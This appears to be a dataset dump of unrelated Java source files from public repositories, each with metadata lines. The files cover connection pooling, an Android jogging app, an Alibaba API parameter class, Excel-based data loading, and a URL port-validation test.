package org.csc.phynixx.xa; import org.apache.commons.pool.PoolableObjectFactory; import org.apache.commons.pool.impl.GenericObjectPool; import org.csc.phynixx.connection.IRecordLoggerAware; import org.csc.phynixx.connection.IPhynixxConnection; import org.csc.phynixx.connection.IPhynixxConnectionFactory; import org.csc.phynixx.exceptions.DelegatedRuntimeException; public class XAPooledConnectionFactory implements IPhynixxConnectionFactory { private IPhynixxConnectionFactory connectionFactory= null; private GenericObjectPool genericObjectPool= null; private class MyPoolableObjectFactory implements PoolableObjectFactory { public void activateObject(Object obj) throws Exception { } public void destroyObject(Object obj) throws Exception { ((IPhynixxConnection)obj).close(); } public Object makeObject() throws Exception { return XAPooledConnectionFactory.this.getConnectionFactory().getConnection(); } public void passivateObject(Object obj) throws Exception { } public boolean validateObject(Object obj) { IPhynixxConnection con= (IPhynixxConnection)obj; return !( con.isClosed()); } } public XAPooledConnectionFactory(IPhynixxConnectionFactory connectionFactory) { this(connectionFactory,null); } public XAPooledConnectionFactory(IPhynixxConnectionFactory connectionFactory, GenericObjectPool.Config genericPoolConfig) { this.connectionFactory = connectionFactory; GenericObjectPool.Config cfg= genericPoolConfig; if( cfg==null) { cfg=new GenericObjectPool.Config(); } this.genericObjectPool= new GenericObjectPool(new MyPoolableObjectFactory(), cfg); } public IPhynixxConnectionFactory getConnectionFactory() { return connectionFactory; } public int getMaxActive() { return this.genericObjectPool.getMaxActive(); } public IPhynixxConnection getConnection() { try { return (IPhynixxConnection)this.genericObjectPool.borrowObject(); } catch (Exception e) { throw new DelegatedRuntimeException(e); } } public void releaseConnection(IPhynixxConnection connection) { if( connection==null) { return; } try { this.genericObjectPool.returnObject(connection); } catch( Exception e) { throw new DelegatedRuntimeException(e); } } public void destroyConnection(IPhynixxConnection connection) { if( connection==null) { return; } try { this.genericObjectPool.invalidateObject(connection); } catch( Exception e) { throw new DelegatedRuntimeException(e); } } public void close() { try { this.genericObjectPool.close(); } catch (Exception e) { throw new DelegatedRuntimeException(e); } } public Class connectionInterface() { return this.getConnectionFactory().connectionInterface(); } }
true
29c5c5fe02ee413bf212b2ec3317dd2e8a4f8bc6
Java
free6d1823/joyjogger
/app/src/main/java/com/breeze/joyjogger/RootActivity.java
UTF-8
9,657
1.75
2
[]
no_license
package com.breeze.joyjogger; import android.app.Activity; import android.app.Fragment; import android.app.FragmentManager; import android.support.v13.app.FragmentPagerAdapter; import android.os.Bundle; import android.content.Intent; import android.content.pm.ActivityInfo; import android.hardware.SensorManager; import android.support.v4.view.ViewPager; import android.support.v4.view.ViewPager.OnPageChangeListener; import android.view.Gravity; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.WindowManager; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import android.widget.ImageView; import android.widget.Toast; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.AdView; import com.purplebrain.adbuddiz.sdk.AdBuddiz; import com.purplebrain.adbuddiz.sdk.AdBuddizLogLevel; import java.util.Locale; public class RootActivity extends Activity { private static int NUM_PAGES = 4; private final int DEFAULT_FRAGMENT = 0; public final static int MAX_AD_CLICKS = 25; public static int gAdClick = 0; public static boolean bEnglish = true; /* True if english system unit */ SectionsPagerAdapter mPagerAdapter; ViewPager mPager; public static SensorManager mSm = null; public static RootActivity gInstance = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); setContentView(R.layout.activity_root); AdBuddiz.setPublisherKey("9f0ace13-d099-40c3-800c-17efda4a020b"); //AdBuddiz.setTestModeActive(); //Remove it before publishing to Google Play. AdBuddiz.setLogLevel(AdBuddizLogLevel.Info); // or Error, Silent AdBuddiz.cacheAds(this); // this = current Activity //disable page 4 if not enabled String local = Locale.getDefault().getCountry(); local = local.toLowerCase(); if (local.equals("tw" )) NUM_PAGES = 4; else NUM_PAGES = 3; if (NUM_PAGES == 3){ ImageView iv4 = (ImageView) findViewById(R.id.imageView4); iv4.setVisibility(View.INVISIBLE); } gInstance = this; Configure.init(this); Configure.loadProfile(); Configure.loadSettings(); if (Configure.system == 0) bEnglish = false; else bEnglish = true; DayRecord.init(this); mSm = (SensorManager) getSystemService(SENSOR_SERVICE); // Create the adapter that will return a fragment for each of the three // primary sections of the activity. mPagerAdapter = new SectionsPagerAdapter(getFragmentManager()); // Set up the ViewPager with the sections adapter. mPager = (ViewPager) findViewById(R.id.pager); mPager.setAdapter(mPagerAdapter); mPager.setCurrentItem(DEFAULT_FRAGMENT); mPager.setOnPageChangeListener(new OnPageChangeListener(){ @Override public void onPageScrollStateChanged(int arg0) { updateIndicator(); } @Override public void onPageScrolled(int arg0, float arg1, int arg2) { } @Override public void onPageSelected(int arg0) { } }); StepMeter.enable(this); updateIndicator(); } //called by StepMeter, keep screen on while walking public void startStepCounter(boolean on){ if(on == true){ if( MainFragment.gInstance !=null) MainFragment.gInstance.startStepMeter(); getWindow().setFlags( WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON, WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); } else{ if( MainFragment.gInstance !=null) MainFragment.gInstance.stopStepMeter(); getWindow().setFlags( 0, WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); } } public void saveStepCounter( ){ StepMeter.saveStepCounter(); } @Override public void onResume(){ super.onResume(); } @Override public void onStart(){ super.onStart(); AutoCheckInput.start(this); gAdClick ++; if(gAdClick % MAX_AD_CLICKS == 0) AdBuddiz.showAd(this); } @Override public void onPause(){ if( StepMeter.isWorking()) saveStepCounter(); super.onPause(); } @Override public void onDestroy(){ super.onDestroy(); StepMeter.disable(this); } @Override public void onBackPressed() { if (mPager.getCurrentItem() == DEFAULT_FRAGMENT) { // If the user is currently looking at the first step, allow the system to handle the // Back button. This calls finish() on this activity and pops the back stack. super.onBackPressed(); } else { // Otherwise, select the previous step. mPager.setCurrentItem(mPager.getCurrentItem() - 1); } } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_root, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); switch (id) { case R.id.action_profile: startPersonalProfileActivity(); return true; case R.id.action_settings: startSettingsActivity(); return true; case R.id.action_goal_settings: startGoalSettingsActivity(); return true; case R.id.action_help: startHelpActivity(); return true; case R.id.action_about: startAboutActivity(); return true; } return super.onOptionsItemSelected(item); } /** * A {@link FragmentPagerAdapter} that returns a fragment corresponding to * one of the sections/tabs/pages. */ public class SectionsPagerAdapter extends FragmentPagerAdapter { public SectionsPagerAdapter(FragmentManager fm) { super(fm); } @Override public Fragment getItem(int position) { if(position == 0) return new MainFragment(); if(position == 1) return new HistoryFragment(); if(position == 2) return new AchievementFragment(); else return new FoodFragment(); } @Override public int getCount() { return NUM_PAGES; } } public void updateIndicator() { int[] ids={R.id.imageView1, R.id.imageView2,R.id.imageView3, R.id.imageView4}; int[] idImageU={R.drawable.page1_u, R.drawable.page2_u,R.drawable.page3_u,R.drawable.page4_u};//,R.drawable.page4_u,R.drawable.page5_u}; int[] idImageD={R.drawable.page1_d, R.drawable.page2_d,R.drawable.page3_d,R.drawable.page4_d}; for(int i=0;i<mPagerAdapter.getCount();i++) { ImageView dot = (ImageView)findViewById(ids[i]); if(i==mPager.getCurrentItem()) { dot.setImageResource(idImageU[i]); }else { dot.setImageResource(idImageD[i]); } } } private void startPersonalProfileActivity(){ Intent i = new Intent(this, PersonalProfileActivity.class); startActivity(i); } private void startSettingsActivity(){ Intent i = new Intent(this, SettingsActivity.class); startActivity(i); } private void startGoalSettingsActivity(){ Intent i = new Intent(this, GoalSettings.class); startActivity(i); } private void startHelpActivity(){ Intent i = new Intent(this, HelpActivity.class); startActivity(i); } private void startAboutActivity(){ Intent i = new Intent(this, AboutActivity.class); startActivity(i); } /////////////////////////////// /* public static class AdFragment extends Fragment { @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_ad, container, false); } @Override public void onActivityCreated(Bundle bundle) { super.onActivityCreated(bundle); AdView mAdView = (AdView) getView().findViewById(R.id.adView); // Create an ad request. Check logcat output for the hashed device ID to // get test ads on a physical device. e.g. // "Use AdRequest.Builder.addTestDevice("ABCDEF012345") to get test ads on this device." AdRequest adRequest = new AdRequest.Builder() .addTestDevice("905709C5D9C17913FB3B6A40C19C0640") .build(); mAdView.loadAd(adRequest); } } */ }
true
3dc3cb497d135c0a309eaf6764fe806c3bfb27c8
Java
morningblu/HWFramework
/MATE-20_EMUI_11.0.0/src/main/java/android/camera/IHwCameraUtil.java
UTF-8
330
1.609375
2
[]
no_license
package android.camera; import android.util.ArrayMap; public interface IHwCameraUtil { int filterVirtualCamera(ArrayMap<String, Integer> arrayMap, int i); boolean isIllegalAccessAuxCamera(int i, String str); boolean needHideAuxCamera(int i); boolean notifySurfaceFlingerCameraStatus(boolean z, boolean z2); }
true
b12f5430149f982bbcc8d64937c36463a6f57e35
Java
IvanTserulik/product-availability-microservices
/product-application/src/main/java/edu/itserulik/product/controller/CommonExceptionHandler.java
UTF-8
593
1.882813
2
[]
no_license
package edu.itserulik.product.controller; import com.netflix.hystrix.exception.HystrixRuntimeException; import edu.itserulik.product.exception.NotAvailableException; import lombok.extern.slf4j.Slf4j; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.ExceptionHandler; @Slf4j @ControllerAdvice public class CommonExceptionHandler { @ExceptionHandler protected void handleFeedbackException(HystrixRuntimeException e) { log.error("hystrix : {}", e.getMessage()); throw new NotAvailableException(); } }
true
9e127ff07c7e64424c8f49cd8625251af8b04533
Java
Adi-Matzliah/RoboNotification
/app/src/main/java/com/exercise/temi/repository/ContactsScreenRepository.java
UTF-8
1,382
2.375
2
[]
no_license
package com.exercise.temi.repository; import com.exercise.temi.db.mapper.ContactEntityDataMapper; import com.exercise.temi.network.model.Contact; import java.sql.Timestamp; import java.util.List; import io.reactivex.Observable; /** * Created by adi.matzliah on 07/03/2018. */ public class ContactsScreenRepository implements ContactsRepository { private final RemoteRepository remoteRepository; private final StorageRepository localRepository; public ContactsScreenRepository(RemoteRepository remoteRepository, StorageRepository localRepository) { this.remoteRepository = remoteRepository; this.localRepository = localRepository; } @Override public Observable<List<Contact>> getContacts() { return remoteRepository.getContacts(); } public void storeContacts(List<Contact> contacts){ com.exercise.temi.db.entity.Contact newContact; for (Contact contact: contacts) { newContact = ContactEntityDataMapper.transform(contact); localRepository.saveContact(newContact); } } public void updateContact(Contact contact) { com.exercise.temi.db.entity.Contact newContact = ContactEntityDataMapper.transform(contact); newContact.setLastMsgDate(new Timestamp(System.currentTimeMillis()).toString()); localRepository.updateContact(newContact); } }
true
f42a9c69fe04aadd7e9d95dadaca60a68525f187
Java
aiical/middle-ground
/business-center/src/main/java/com/cloud/business/alibaba/logistics/param/AlibabaTradeGetLogisticsInfosBuyerViewParam.java
UTF-8
1,865
2.109375
2
[]
no_license
package com.cloud.business.alibaba.logistics.param; import com.cloud.business.alibaba.ocean.rawsdk.client.APIId; import com.cloud.business.alibaba.ocean.rawsdk.common.AbstractAPIRequest; /** * * @description: * @author: 廖权名 * @date: 2020/9/10 18:21 */ public class AlibabaTradeGetLogisticsInfosBuyerViewParam extends AbstractAPIRequest<AlibabaTradeGetLogisticsInfosBuyerViewResult> { public AlibabaTradeGetLogisticsInfosBuyerViewParam() { super(); oceanApiId = new APIId("com.alibaba.logistics", "alibaba.trade.getLogisticsInfos.buyerView", 1); } private Long orderId; /** * @return 订单号 */ public Long getOrderId() { return orderId; } /** * 设置订单号 * * 参数示例:<pre>1221434</pre> * 此参数必填 */ public void setOrderId(Long orderId) { this.orderId = orderId; } private String fields; /** * @return 需要返回的字段,目前有:company.name,sender,receiver,sendgood。返回的字段要用英文逗号分隔开 */ public String getFields() { return fields; } /** * 设置需要返回的字段,目前有:company.name,sender,receiver,sendgood。返回的字段要用英文逗号分隔开 * * 参数示例:<pre>company,name,sender,receiver,sendgood</pre> * 此参数必填 */ public void setFields(String fields) { this.fields = fields; } private String webSite; /** * @return 是1688业务还是icbu业务 */ public String getWebSite() { return webSite; } /** * 设置是1688业务还是icbu业务 * * 参数示例:<pre>1688或者alibaba</pre> * 此参数必填 */ public void setWebSite(String webSite) { this.webSite = webSite; } }
true
b8d3e12b81578aacd1640004beac0a42ebf3c980
Java
gon125/knuGra
/app/src/main/java/com/knucse/knugra/DM_package/Database.java
UTF-8
11,797
1.929688
2
[]
permissive
package com.knucse.knugra.DM_package; import com.knucse.knugra.PD_package.Graduation_Info_package.Graduation_Info; import com.knucse.knugra.PD_package.Graduation_Info_package.Graduation_Info_Item; import com.knucse.knugra.PD_package.Graduation_Info_package.Graduation_Info_List; import com.knucse.knugra.PD_package.Subject_package.Subject; import com.knucse.knugra.PD_package.Subject_package.SubjectList; import com.knucse.knugra.R; import com.knucse.knugra.UI_package.login.LoginActivity; import org.apache.poi.openxml4j.opc.OPCPackage; import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.xssf.usermodel.XSSFSheet; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.apache.xmlbeans.impl.common.IOUtil; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.util.HashMap; import java.util.Iterator; import static com.knucse.knugra.DM_package.DAPATH.BIGDATA; import static com.knucse.knugra.DM_package.DAPATH.COMPUTPER_ABEEK; import static com.knucse.knugra.DM_package.DAPATH.CONSTRUCTION_IT; import static com.knucse.knugra.DM_package.DAPATH.FINTECH; import static com.knucse.knugra.DM_package.DAPATH.GLOBAL_SOFTWARE_DOUBLE_MAJOR; import static com.knucse.knugra.DM_package.DAPATH.GLOBAL_SOFTWARE_MASTERS_CHAINING; import static com.knucse.knugra.DM_package.DAPATH.GLOBAL_SOFTWARE_OVERSEAS_UNIV; import static com.knucse.knugra.DM_package.DAPATH.MEDIAART; import static com.knucse.knugra.DM_package.DAPATH.SOFTWARE_COMBINED_COMMON_MAJOR; import static com.knucse.knugra.DM_package.DAPATH.SOFTWARE_COMBINED_GENERAL; public class Database { // 데이터베이스 접근 객체 private static volatile Database instance; private static HashMap<String, SubjectList> requiredSubjectLists; private static SubjectList designSubjectList; private static SubjectList startupSubjectList; private static HashMap<String, SubjectList> recommendedSubjectLists; private Database() { } public static Database getInstance() { if (instance == null) { instance = new Database(); } return instance; } public static void load() { loadGraduationInfoList_temp(); designSubjectList = loadDesignSubjectList(); requiredSubjectLists = loadRequiredSubjectLists(); startupSubjectList = loadStartupSubjectList(); recommendedSubjectLists = loadRecommendedSubjectLists(); } public static void destroy() { instance = null; } private static HashMap<String, SubjectList> loadRecommendedSubjectLists() { return getSubjectLists(R.raw.recommeded_subject_list); } private static void loadGraduationInfoList_temp() { XSSFWorkbook workbook = null; Row row; Cell cell; Graduation_Info_List graduation_info_list = Graduation_Info_List.getInstance(); InputStream is = LoginActivity.loginActivity.getResources().openRawResource(R.raw.graduation_info_list); try { File file = File.createTempFile("temp", ".tmp"); IOUtil.copyCompletely(is , new FileOutputStream(file)); OPCPackage opcPackage = OPCPackage.open(file); workbook = new XSSFWorkbook(opcPackage); } catch (Exception e) { e.printStackTrace(); } Iterator<Sheet> sheetIterator = workbook.sheetIterator(); while(sheetIterator.hasNext()) { Sheet sheet = sheetIterator.next(); Graduation_Info gi = new Graduation_Info(); gi.setInfo_track(sheet.getSheetName()); Iterator<Row> rowIterator = sheet.iterator(); // first row is key values if (rowIterator.hasNext()) { // get first row row = rowIterator.next(); } else { // handle error } // from the second it's data while (rowIterator.hasNext()) { row = rowIterator.next(); cell = row.getCell(0); String key = getCellToString(cell); cell = row.getCell(1); String value = getCellToString(cell); Graduation_Info_Item git = new Graduation_Info_Item(); git.setName(key); git.setContent(value); gi.add(git); } // after graduation_info is done fill subject list graduation_info_list.add(gi); } } private static String getCellToString(Cell cell) { String cellToString = ""; switch (cell.getCellTypeEnum()) { case _NONE: break; case NUMERIC: cellToString = String.valueOf(Math.round(cell.getNumericCellValue())).trim(); break; case STRING: cellToString = cell.getStringCellValue().trim(); break; case FORMULA: break; case BLANK: break; case BOOLEAN: break; case ERROR: break; } return cellToString; } private static SubjectList loadDesignSubjectList() { // 설계과목 가져오기 return getSubjectList(R.raw.design_subject_list); } private static SubjectList loadStartupSubjectList() { // 창업과목 가져오기 return getSubjectList(R.raw.startup_subject_list); } private static HashMap<String, SubjectList> loadRequiredSubjectLists() {// 필수과목 가져오기 return getSubjectLists(R.raw.required_subject_list); } private static HashMap<String, SubjectList> getSubjectLists(int resourceId) { HashMap<String, SubjectList> subjectListHashMap = new HashMap<>(); XSSFWorkbook workbook = null; Row row; Iterator<Cell> cellIterator; Cell cell; Subject subject; InputStream is = LoginActivity.loginActivity.getResources().openRawResource(resourceId); try { File file = File.createTempFile("temp", ".tmp"); IOUtil.copyCompletely(is , new FileOutputStream(file)); OPCPackage opcPackage = OPCPackage.open(file); workbook = new XSSFWorkbook(opcPackage); } catch (Exception e) { e.printStackTrace(); } Iterator<Sheet> sheetIterator = workbook.sheetIterator(); while(sheetIterator.hasNext()) { Sheet sheet = sheetIterator.next(); SubjectList subjectList = new SubjectList(); Iterator<Row> rowIterator = sheet.iterator(); // first row is key values if (rowIterator.hasNext()) { // get first row row = rowIterator.next(); } else { // handle error } // from the second it's data while (rowIterator.hasNext()) { row = rowIterator.next(); cellIterator = row.iterator(); subject = new Subject(); while (cellIterator.hasNext()) { cell = cellIterator.next(); String cellToString = getCellToString(cell); // if empty then don't put in if (cellToString.equals("")) { continue; } String key = getCellToString( sheet .getRow(0) .getCell( cell .getColumnIndex())); subject.put(key, cellToString); } // after subject is done fill subject list // 과목코드는 키값의 0 번쨰 인덱스에 있음 String subjectCode = subject.get(DAPATH.SUBJECT_CODE); // 과목코드를 키값으로 설계과목목록에 설계과목 해시테이블을 집어넣음 subjectList.put(subjectCode, subject); } subjectListHashMap.put(sheet.getSheetName(), subjectList); } return subjectListHashMap; } private static SubjectList getSubjectList(int resourceId) { SubjectList subjectList = new SubjectList(); XSSFWorkbook workbook = null; Row row; Iterator<Cell> cellIterator; Cell cell; Subject subject; InputStream is = LoginActivity.loginActivity.getResources().openRawResource(resourceId); try { File file = File.createTempFile("temp", ".tmp"); IOUtil.copyCompletely(is , new FileOutputStream(file)); OPCPackage opcPackage = OPCPackage.open(file); workbook = new XSSFWorkbook(opcPackage); } catch (Exception e) { e.printStackTrace(); } XSSFSheet sheet = workbook.getSheetAt(0); Iterator<Row> rowIterator = sheet.iterator(); // first row is key values if (rowIterator.hasNext()) { // get first row row = rowIterator.next(); } else { // handle error } // from the second it's data while (rowIterator.hasNext()) { row = rowIterator.next(); cellIterator = row.iterator(); subject = new Subject(); while (cellIterator.hasNext()) { cell = cellIterator.next(); String cellToString = getCellToString(cell); // if empty then don't put in if (cellToString.equals("")) { continue; } String key = getCellToString( sheet .getRow(0) .getCell( cell .getColumnIndex())); subject.put(key, cellToString); } // after subject is done fill subject list // 과목코드는 키값의 0 번쨰 인덱스에 있음 String subjectCode = subject.get(DAPATH.SUBJECT_CODE); // 과목코드를 키값으로 설계과목목록에 설계과목 해시테이블을 집어넣음 subjectList.put(subjectCode, subject); } return subjectList; } public static SubjectList getDesignSubjectList() { return designSubjectList; } public static SubjectList getRequiredSubjectList(String name) { if (isMajorName(name)) { return requiredSubjectLists.get(name); } else { return null; } } public static SubjectList getStartupSubjectList(){ return startupSubjectList; } private static boolean isMajorName(String name) { switch (name) { case COMPUTPER_ABEEK: case GLOBAL_SOFTWARE_DOUBLE_MAJOR: case GLOBAL_SOFTWARE_MASTERS_CHAINING: case GLOBAL_SOFTWARE_OVERSEAS_UNIV: case SOFTWARE_COMBINED_COMMON_MAJOR: case SOFTWARE_COMBINED_GENERAL: case BIGDATA: case FINTECH: case CONSTRUCTION_IT: case MEDIAART: return true; default: return false; } } public static SubjectList getRecommendedSubjectLists(String name) { if (isMajorName(name)) { return recommendedSubjectLists.get(name); } else { return null; } } }
true
2ac6a4273ba9bf6b0820f6af7924a4e33de16978
Java
jijunwei/riskDesignerPlugin
/r06/src/util/XMLReader.java
UTF-8
2,295
3.078125
3
[]
no_license
package util; import java.io.File; import java.util.Iterator; import java.util.List; import java.util.Objects; import org.dom4j.Attribute; import org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.Element; import org.dom4j.io.SAXReader; public class XMLReader { public static String readFromXML(String filename,String nodeName,String attributeName){ // 解析books.xml文件 // 创建SAXReader的对象reader String returnValue=""; SAXReader reader = new SAXReader(); try { // 通过reader对象的read方法加载books.xml文件,获取docuemnt对象。 Document document = reader.read(new File(filename)); // 通过document对象获取根节点bookstore Element bookStore = document.getRootElement(); // 通过element对象的elementIterator方法获取迭代器 Iterator it = bookStore.elementIterator(); // 遍历迭代器,获取根节点中的信息(书籍) while (it.hasNext()) { Element book = (Element) it.next(); // 获取book的属性名以及 属性值 List<Attribute> bookAttrs = book.attributes(); for (Attribute attr : bookAttrs) { if(attr.getName().equals(attributeName)&& !Objects.isNull(attributeName)){ System.out.println("属性名:" + attr.getName() + "--属性值:" + attr.getValue()); returnValue=attr.getValue(); } } if(Objects.isNull(attributeName)){ Iterator itt = book.elementIterator(); while (itt.hasNext()) { Element bookChild = (Element) itt.next(); if(bookChild.getName().equals(nodeName)){ System.out.println("nodeName:"+bookChild.getName()); returnValue=bookChild.getStringValue(); System.out.println("value:"+returnValue); } } } } } catch (DocumentException e) { // TODO Auto-generated catch block e.printStackTrace(); return "error"; } return returnValue; } }
true
e9480941dd20a1b7bd547b332463cb2eae31bb88
Java
onap/oom-platform-cert-service
/certService/src/test/java/org/onap/oom/certservice/certification/configuration/validation/constraints/violations/PortNumberViolationTest.java
UTF-8
2,625
2.0625
2
[ "Apache-2.0", "CC-BY-4.0" ]
permissive
/* * ============LICENSE_START======================================================= * PROJECT * ================================================================================ * Copyright (C) 2020 Nokia. All rights reserved. * ================================================================================ * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ============LICENSE_END========================================================= */ package org.onap.oom.certservice.certification.configuration.validation.constraints.violations; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertTrue; class PortNumberViolationTest { private final PortNumberViolation violation = new PortNumberViolation(); @Test void givenValidPortShouldReturnTrue() { //given String validUrl1 = "http://127.0.0.1:8080/ejbca/publicweb/cmp/cmp"; String validUrl2 = "http://127.0.0.1:1/ejbca/publicweb/cmp/cmp"; String validUrl3 = "http://127.0.0.1:65535/ejbca/publicweb/cmp/cmp"; //when boolean result1 = violation.validate(validUrl1); boolean result2 = violation.validate(validUrl2); boolean result3 = violation.validate(validUrl3); //then assertTrue(result1); assertTrue(result2); assertTrue(result3); } @Test void givenEmptyPortShouldReturnTrue() { //given String validUrl = "http://127.0.0.1/ejbca/publicweb/cmp/cmp"; //when boolean result = violation.validate(validUrl); //then assertTrue(result); } @Test void givenInvalidPortShouldReturnFalse() { //given String invalidUrl1 = "http://127.0.0.1:0/ejbca/publicweb/cmp/cmp"; String invalidUrl2 = "http://127.0.0.1:65536/ejbca/publicweb/cmp/cmp"; //when boolean result1 = violation.validate(invalidUrl1); boolean result2 = violation.validate(invalidUrl2); //then assertFalse(result1); assertFalse(result2); } }
true
efebdedc22d4542e1d19c5f5f4e27ece3389255d
Java
hangalo/cheladocs
/src/java/cheladocs/modelo/Documento.java
UTF-8
2,640
2.265625
2
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package cheladocs.modelo; import java.sql.Date; /** * * @author Adelino Eduardo */ public class Documento { private int numeroProtocolo; private Requerente requerente; private Date dataEntrada; private String origem; private String descricaoAssunto; private NaturezaAssunto naturezaAssunto; private TipoExpediente tipoExpediente; private String urlFicheiroDocumento; private byte [] conteudoDocumento; public Documento(){ requerente = new Requerente(); naturezaAssunto = new NaturezaAssunto(); tipoExpediente = new TipoExpediente(); } public int getNumeroProtocolo() { return numeroProtocolo; } public void setNumeroProtocolo(int numeroProtocolo) { this.numeroProtocolo = numeroProtocolo; } public Requerente getRequerente() { return requerente; } public void setRequerente(Requerente requerente) { this.requerente = requerente; } public Date getDataEntrada() { return dataEntrada; } public void setDataEntrada(Date dataEntrada) { this.dataEntrada = dataEntrada; } public String getOrigem() { return origem; } public void setOrigem(String origem) { this.origem = origem; } public String getDescricaoAssunto() { return descricaoAssunto; } public void setDescricaoAssunto(String descricaoAssunto) { this.descricaoAssunto = descricaoAssunto; } public NaturezaAssunto getNaturezaAssunto() { return naturezaAssunto; } public void setNaturezaAssunto(NaturezaAssunto naturezaAssunto) { this.naturezaAssunto = naturezaAssunto; } public TipoExpediente getTipoExpediente() { return tipoExpediente; } public void setTipoExpediente(TipoExpediente tipoExpediente) { this.tipoExpediente = tipoExpediente; } public String getUrlFicheiroDocumento() { return urlFicheiroDocumento; } public void setUrlFicheiroDocumento(String urlFicheiroDocumento) { this.urlFicheiroDocumento = urlFicheiroDocumento; } public byte[] getConteudoDocumento() { return conteudoDocumento; } public void setConteudoDocumento(byte[] conteudoDocumento) { this.conteudoDocumento = conteudoDocumento; } }
true
32a7b8c7564a28ebeb62141836312d246618381a
Java
asmirnov-tba/sv-cola-app
/src/main/java/sv/cola/app/domain/exchange/Answer.java
UTF-8
569
2.46875
2
[]
no_license
package sv.cola.app.domain.exchange; public class Answer { public static final Answer CORRECT_ANSWER = new Answer(Status.CORRECT); public static final Answer INCORRECT_ANSWER = new Answer(Status.INCORRECT); public static final Answer PENALTY_ANSWER = new Answer(Status.PENALTY); public enum Status{ CORRECT, INCORRECT, PENALTY; } private Status status; public Status getStatus() { return status; } public void setStatus(Status status) { this.status = status; } public Answer(Status status) { super(); this.status = status; } }
true
33a2e90db22759529ce8ff8f4466de1965acc223
Java
djw1149/cougaar-glm
/glm/src/org/cougaar/mlm/debug/ui/ScrollingTextLine.java
UTF-8
3,105
2.421875
2
[]
no_license
/* * <copyright> * * Copyright 1997-2004 BBNT Solutions, LLC * under sponsorship of the Defense Advanced Research Projects * Agency (DARPA). * * You can redistribute this software and/or modify it under the * terms of the Cougaar Open Source License as published on the * Cougaar Open Source Website (www.cougaar.org). * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * </copyright> */ package org.cougaar.mlm.debug.ui; import java.awt.BorderLayout; import java.awt.Dimension; import java.awt.event.ComponentAdapter; import java.awt.event.ComponentEvent; import javax.swing.BoundedRangeModel; import javax.swing.JPanel; import javax.swing.JScrollBar; import javax.swing.JTextField; import javax.swing.SwingConstants; /** A single line of text with a horizontal scroll bar. From Ray Tomlinson. */ public class ScrollingTextLine extends JPanel { MyTextField tf = new MyTextField(); JScrollBar sb = new JScrollBar(SwingConstants.HORIZONTAL); public ScrollingTextLine(int ncolumns) { super(new BorderLayout()); tf.setColumns(ncolumns); final BoundedRangeModel rm = tf.getHorizontalVisibility(); // make text field's visibility model be the scrollbar's model sb.setModel(rm); sb.updateUI(); // JScrollBar fails to update its UI when its model changes sb.setUnitIncrement(16);// Move 16 pixels at a time. add(tf, BorderLayout.CENTER); add(sb, BorderLayout.SOUTH); tf.setEditable(false); tf.addComponentListener(new ComponentAdapter() { public void componentResized(ComponentEvent e) { sb.setBlockIncrement(tf.getSize().width - 16); } }); } public void setText(String s) { tf.setText(s); tf.setScrollOffset(0); } } /** A text field that reports its preferred size as the width of its contents, or if it's empty, the width of the number of columns with which it was constructed. */ class MyTextField extends JTextField { public MyTextField() { super(); } public MyTextField(int ncolumns) { super(ncolumns); } public Dimension getPreferredSize() { Dimension d = super.getPreferredSize(); if (getText().length() == 0) return new Dimension(getColumns() * getColumnWidth(), d.height); else return new Dimension(getFontMetrics(getFont()).stringWidth(getText()), d.height); } }
true
f8a34e528b9df11daca044bf94697134aa390b44
Java
Puffer-Labs/thrift-computer-microservice
/transaction-service/src/main/java/com/nimatullo/transactionservice/models/Message.java
UTF-8
500
2.484375
2
[]
no_license
